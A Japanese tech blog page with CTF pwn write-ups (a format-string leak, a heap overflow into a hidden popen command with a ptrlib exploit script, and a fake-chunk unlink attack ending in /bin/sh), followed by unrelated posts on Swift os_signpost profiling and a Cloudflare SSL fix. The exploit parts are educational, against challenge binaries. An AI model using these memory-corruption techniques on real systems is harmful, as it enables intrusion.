しおメモ

雑多な技術系ブログです。ニッチな内容が多いです。

CTF Writeup供養

今年限定でCTFに参加しました。 昔C++を書いていたのでpwnを担当しましたが、あまり関係なかったような気がします。

Hack The Boxもやってみましたが、最近の脆弱性を利用するようなものは難しくて歯が立たないです。

防衛省サイバーコンテストでは、ローカル環境で解けたにも関わらず、Pythonが嫌いすぎて1問落としてしまったため、AI利用可のSECCON Beginnersではコードは全てAIに書かせました。

主観で面白かった問題を書いています。

防衛省サイバーコンテスト2026 深層の証言

format: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=f8da17415bcf3ec6557dc012f5a812239a0832e2, for GNU/Linux 3.2.0, not stripped
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable    FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   54 Symbols        No    0               2     format
  • Binary Ninjaで覗くとprint_flag()を呼び出せれば、フラグを奪取できることが分かる
  • 実行時に32bitの乱数が生成され、入力値と乱数値が一致した際にprint_flag()が呼ばれる
  • %pなどの入力でFSBが存在することがわかる

FSBが利用できるため、オフセットが分かれば実行時に乱数値を確認することができます。 gdbで乱数らしき値をさがしてみます。

gdb-peda$ x/20wx $esp+0x200
0xffffd42c:     0x00000000      0xf7fc5570      0xf7fc5000      0x00000000
0xffffd43c:     0x00000000      0x00000000      0x00000000      0xffffffff
0xffffd44c:     0x74b65799      0xf7fbd400      0x00000000      0x00000000
0xffffd45c:     0xffffd480      0xf7f98e14      0x0804bef8      0x00000000
0xffffd46c:     0xf7d8acc3      0x00000000      0x00000000      0xf7da4029
gdb-peda$ x/20wx $esp+0x200
0xffffd42c:     0x00000000      0xf7fc5570      0xf7fc5000      0x00000000
0xffffd43c:     0x00000000      0x00000000      0x00000000      0xffffffff
0xffffd44c:     0x2812ac6d      0xf7fbd400      0x00000000      0x00000000
0xffffd45c:     0xffffd480      0xf7f98e14      0x0804bef8      0x00000000
0xffffd46c:     0xf7d8acc3      0x00000000      0x00000000      0xf7da4029

charで0x100バイト分の確保が2回あるので、$esp+0x200あたりを探すと、実行ごとに変化してアドレスらしくない値がありました。 こちらはprintfからみて135番目の引数に相当するため、%135$pで出力することができます。

Exploration: %135$p
0x2812ac6d

こちらを10進数に変換して入力すれば、フラグが出力されます。

python -c "print(int('0x2812ac6d', 16))"

防衛省サイバーコンテスト2026 記憶の侵食

heap: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), static-pie linked, BuildID[sha1]=9c61b37f2a18f3f4136821a956b2c40b4d44d9e6, for GNU/Linux 3.2.0, with debug_info, not stripped
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified Fortifiable      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   2317 Symbols      No    0         0heap
  • サイズを指定してmalloc/freeができるプロフラム
  • Show A / Show Bで確保済のアドレスが確認できる
  • Write AでAにのみ書き込み可能
  • Binary Ninjaで覗いてみると、オブジェクトBの内容をpopenで実行できる隠しコマンドがあるのがわかる

freeの後にポインタをNULLにしていなそうなので、Use-After-Freeが使えそうなことが分かりました。また、オブジェクトAへの書き込みもサイズチェックが入っていないため、バッファオーバーフローを利用する方針にしました。

1. Allocate A -> 2. Allocate B -> 6. Show A -> 7. Show B の順に操作してアドレスを確認します。

=== Object A ===
Name: A
Size: 8
Data: 
Data address: 0x55558be317d0
Object address: 0x55558be31770
Callback address: 0x7f68782dedaa
In use: 1
=== Object B ===
Name: B
Size: 8
Data: 
Data address: 0x55558be31850
Object address: 0x55558be317f0
Callback address: 0x7f68782dedaa
In use: 1

Aのdata addressからBのobject addressまでオフセットは0x20となり、そのあとに任意のシェルコマンドの文字列を載せてから、隠しコマンドの9番で実行することで、フラグを奪取できます。

from ptrlib import *

io = Process('./heap')
io.sendlineafter(b'> ', 1)
io.sendlineafter(b'Object size (1-512): ', 8)
io.sendlineafter(b'Object name: ', 'a')
io.sendlineafter(b'> ', 2)
io.sendlineafter(b'Object size (1-512): ', 8)
io.sendlineafter(b'Object name: ', 'b')
io.sendlineafter(b'> ', 5)
payload = b'A' * 32 + b'cat flag.txt'
io.sendlineafter(b'Data (max 8 bytes): ', payload)
io.sendlineafter(b'> ', 9)
print(io.recvline())
io.interactive()

SECCON Beginners CTF 2026 backlog

考察

  • Full RELRO, canary, NX, PIE, not stripped
  • run_jobにsystemコマンドがあり、tokenがAPPROVAL_TOKEN(0x4a4f425f41505052)と一致する際に利用できそうです
  • read_note_dataの最後のbuf[n] = '\0';で1バイトのオーバーフローがあります

exploit

事前に3つのノートを作成しておきます。順番にノート0, 1, 2とします。

  • ノート0: 偽chunk用
  • ノート1: ノート2のchunkの改ざん用
  • ノート2: free時の偽chunk参照用

まず、ノート0のchar* data内にedit_noteを使って偽のchunkを用意します。 こちらは少し後に出てきます。

次にノート1に対するedit_noteの中で呼ばれるread_note_dataを利用して、ノート2のchunk方のsize下位1バイトを0x0で埋め、最下位bitのPREV_INUSEを無効化します。 つまり、ノート1については、MAX_SIZE 0x100以下の制約を満たす必要もあることから、フラグ込みでsizeが0x101になる必要があり、事前に確保するdataの大きさはsizeの領域分8バイトを考慮して、0xF8バイトで確保する必要があります。

また、ノート1を編集する際のdataの最後の8バイトでは、ノート2のprev_sizeにあたるような値をセットします。 このprev_size相当の値が、ノート0のdata内に用意した偽のchunkの位置と合うようにすることで、 ノート2のchunkをdelete_noteでfreeした際に、偽chunkをfree chunkと誤認します。

ノート0の偽chunkは、ノート2の改竄された内容と整合する必要があり、

偽chunkの`size` == ノート2の`prev_size` == 偽chunkからノート2のoffset

が成り立つ必要があります。 ノートのdataの大きさをすべて0xF8バイトとすると、chunk sizeはそれぞれ0x100バイトとなり、改ざん後のノート2のchunk header 0x10バイト分を考えると、オフセットは0x1F0となります。

偽chunkの内容は、prev_size, size, fd, bkの順にそれぞれ、0, 0x1F0, (ノート0のdataのアドレス), (ノート0のdataのアドレス)で埋めておきます。 ノート0のdataのアドレスは、show_noteで取得可能です。

改ざんまでを実施すると以下のようになります。

gdb-peda$ x/100gx notes[0].data-0x10
0x55746a70f290: 0x0000000000000000      0x0000000000000101 # ノート0のchunk size
0x55746a70f2a0: 0x0000000000000000      0x00000000000001f0 # ノート0のdata (偽chunk)
0x55746a70f2b0: 0x000055746a70f2a0      0x000055746a70f2a0
0x55746a70f2c0: 0x3030303030303000      0x3030303030303030
...
0x55746a70f380: 0x3030303030303030      0x3030303030303030
0x55746a70f390: 0x3030303030303030      0x0000000000000101 # ノート1のchunk size
0x55746a70f3a0: 0x3131313131313131      0x3131313131313131 # ノート1のdata
...
0x55746a70f480: 0x3131313131313131      0x3131313131313131
0x55746a70f490: 0x00000000000001f0      0x0000000000000100 # ノート2のprev_size, size
0x55746a70f4a0: 0x3232323232323232      0x3232323232323232 # ノート2のdata
...

偽chunkは0x55746a70f2a0から始まる0x20バイトに入っていて、改ざん後のノート2のchunkまでのoffsetが0x1F0であることが確認できます。

ノート2のchunkをfreeする際に気をつけることとして、glibcのバージョンによりtcacheが働くことがあり、その場合は同じサイズの領域をtcache countの回数分malloc/freeしておく必要があります。 (例えば、ノート0~2までの確保に、空いているノートで、data0xF8バイトの領域を7つ確保して解放しておきます。)

freeのあとは、create_jobで偽chunkのアドレスにあるfree chunkにjobを書き込み、ノート0へのedit_noteでcommandを/bin/shなど、tokenを0x4a4f425f41505052に置き換えれば、攻撃が成立します。

os_signpostを投げるURLProtocolを作る

プロジェクトが変わるたびに毎回似たようなものを作っている気がしたので、メモしておくことにしました。
単純なAPIのパフォーマンスならNewRelicやらDatadogやらで見れば良いですが、アプリ内部のボトルネックの検証をするのには役に立つ事があります。

こちらは主に外部ライブラリに通信関連を委ねている場合に、汎用的に差し込む目的で利用します。
ラッパークラスを作成している場合は、URLProtocolを利用せず、そちらに直接os_signpostの処理を書いていくのがわかりやすそうです。

コード

URLProtocolの実装は以下のようになります。

実際に通信を行う必要があるので、URLSessionを利用します。
Loggerについては既にどこかで定義されていれば、それを利用してもOKです。 なければ、OSSignposter.init(subsystem:category:)で定義できます。

import Foundation
import os

final class SignpostURLProtocol: URLProtocol {
    static let logger = Logger(subsystem: "com.flyingalpaca.sample", category: "API")
    private let signposter = OSSignposter(logger: SignpostURLProtocol.logger)
    private let session: URLSession = .init(configuration: .default)
    private var sessionTask: Task<Void, any Error>?
    private var state: OSSignpostIntervalState?
    
    override static func canInit(with _: URLRequest) -> Bool {
        true
    }
    
    override static func canonicalRequest(for request: URLRequest) -> URLRequest {
        request
    }
    
    override func startLoading() {
        let id = signposter.makeSignpostID()
        let message = [request.httpMethod, request.url?.absoluteString]
            .compactMap { $0 }
            .joined(separator: " ")
        
        state = signposter.beginInterval("API Call", id: id, "\(message)")
        sessionTask = Task {
            let (_, response) = try await session.data(for: request)
            let statusCode = (response as? HTTPURLResponse)?.statusCode
            endInterval(message: statusCode.map(String.init))
        }
    }
    
    override func stopLoading() {
        endInterval(message: "canceled")
        sessionTask?.cancel()
    }
    
    private func endInterval(message: String?) {
        guard let state else { return }

        if let message {
            signposter.endInterval("API Call", state, "\(message)")
        } else {
            signposter.endInterval("API Call", state)
        }
        self.state = nil
    }
}

利用時はURLSessionConfigurationを利用します。 デバッグ時のみ処理したい場合は、この部分かcanInitに判定を追加すると良さそうです。

let configuration = URLSessionConfiguration.default
configuration.protocolClasses = [SignpostURLProtocol.self]
let session = URLSession(configuration: configuration)

Instrumentsでの動作

このようになります。

Cloudflareへのドメイン移管時のSSLエラーの解消例

ブログのドメインのトランスファーを実施した際にSSLエラーが出たため、対処方法の一例を残しておきます。
Cloudflareビキナーです。

発生した現象

自分の場合は、対象ドメインのトランスファー完了後にChromeでアクセスした際に、ERR_SSL_VERSION_OR_CIPHER_MISMATCHというエラーが表示されました。

Safariなど別のブラウザでも同様の表示になっています。

Proxied DNS recordsの設定

CNAMEレコードをはてなブログ用に設定しているのですが、digを叩いてみると、Aレコードだけが表示されています。

dig +noall +ans www.volatile-void.com
www.volatile-void.com.  247    IN  A   104.21.93.160
www.volatile-void.com.  247    IN  A   172.67.212.17

調べてみると、こちらはCloudflareのサーバーのIPのようで、デフォルトで有効なProxied DNS recordsという機能の影響のようです。
DNSレコードを確認すると、確かにプロキシ機能が有効になってみました。

developers.cloudflare.com

試しにプロキシ機能をオフにしてみます。(灰色の雲の部分です)

dig +noall +ans www.volatile-void.com 
www.volatile-void.com.  68 IN  CNAME   hatenablog.com.
hatenablog.com.     28 IN  A   54.199.90.60
hatenablog.com.     28 IN  A   35.75.255.9

Cloudflareのサーバーを介さなくなったため、CNAMEレコードが表示され、Aレコードもはてなのものを指すようになりました。
ブラウザからアクセスしても、SSLエラーが出なくなります。

SSL/TLS encryption modeの設定

では、SSLエラーの直接の原因は何かというと、プロキシ機能有効時にSSL/TLSの暗号化モードを自動で設定する、もう一つのCloudflareの機能によるものでした。

developers.cloudflare.com

こちらはブラウザ-Cloudflare-オリジンサーバー間の暗号化モードを自動で判断して設定する機能ですが、オリジンサーバーがはてなの場合はFlexibleとなってしまい、 Cloudflareからはてなサーバーへの通信がHTTPとなってしまっていました。

例えば、暗号化モードをFull (strict)に手動で変更することで、ここの通信がHTTPSで行われるようになり、プロキシ機能を有効にしたまま、SSLエラーを解消することができます。

結局どうする

プロキシ機能を有効にしておくことで、恩恵がありそうではあるものの、SEO影響が読めなかったため、一旦プロキシオフのDNS onlyの利用にすることにしました。

しばらくして安定したタイミングで、プロキシありで運用してみて、メリットデメリットを比較してみたいと思います。